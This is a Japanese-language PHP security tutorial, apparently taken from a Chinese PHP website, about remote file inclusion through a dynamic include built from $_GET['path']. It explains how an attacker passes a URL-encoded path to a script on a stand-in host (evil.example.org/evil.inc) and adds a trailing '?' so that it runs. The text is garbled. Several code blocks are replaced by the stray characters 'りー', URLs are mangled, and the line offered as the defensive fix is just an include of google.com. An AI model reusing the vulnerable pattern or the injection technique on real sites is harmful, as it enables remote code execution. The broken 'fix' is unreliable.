特に危険な状況は、汚染されたデータを動的インクルードの先頭部分として使用しようとする場合です:
<?php include "{$_GET['path']}/header.inc"; ?>
このシナリオでは、攻撃者はファイル名だけでなく、そこに含まれるリソースも操作できる可能性があります。 PHP はデフォルトでファイルをインクルードできるだけでなく、次のリソースもインクルードできます (構成ファイルのallow_url_fopen によって制御されます):
りー
このとき、include ステートメントには http://www.php.cn/ の Web ページのソース コードがローカル ファイルとしてインクルードされます。上記の例は無害ですが、GOOGLE から返されたソース コードに PHP コードが含まれていた場合に何が起こるかを想像してください。このようにして、その中に含まれる PHP コードが解析されて実行されます。これは、攻撃者がセキュリティ システムを破るために悪意のあるコードをリリースする機会となります。
path の値が、攻撃者によって制御されている次のリソースを指していると想像してください:
http://www.php.cn/ ... e.org%2Fevil.inc%3F
上記の例では、パスの値は URL エンコードされており、元の値は次のとおりです:
http://www.php.cn/
これにより、攻撃者が選択したスクリプト (evil.inc) が include ステートメントにインクルードされて実行され、元のファイル名/header.inc がリクエスト文字列とみなされます:
りー
これにより、攻撃者が残りのディレクトリとファイル名 (/header.onc) を推測して、evil.example.org 上に同じパスとファイル名を作成する必要がなくなります。逆に、攻撃された Web サイトの特定のファイル名がブロックされている場合は、evil.inc が実行したい合法的なコードを出力することを確認するだけで済みます。
この状況は、攻撃者が Web サイト上の PHP コードを直接変更できるのと同じくらい危険です。幸いなことに、これは include ステートメントと require ステートメントの前にデータをフィルタリングすることで防ぐことができます:
<?php include 'http://www.google.com/'; ?>
上記は PHP セキュリティ コード インジェクションの内容です。その他の関連コンテンツについては、PHP 中国語 Web サイト (www.php.cn) にご注意ください。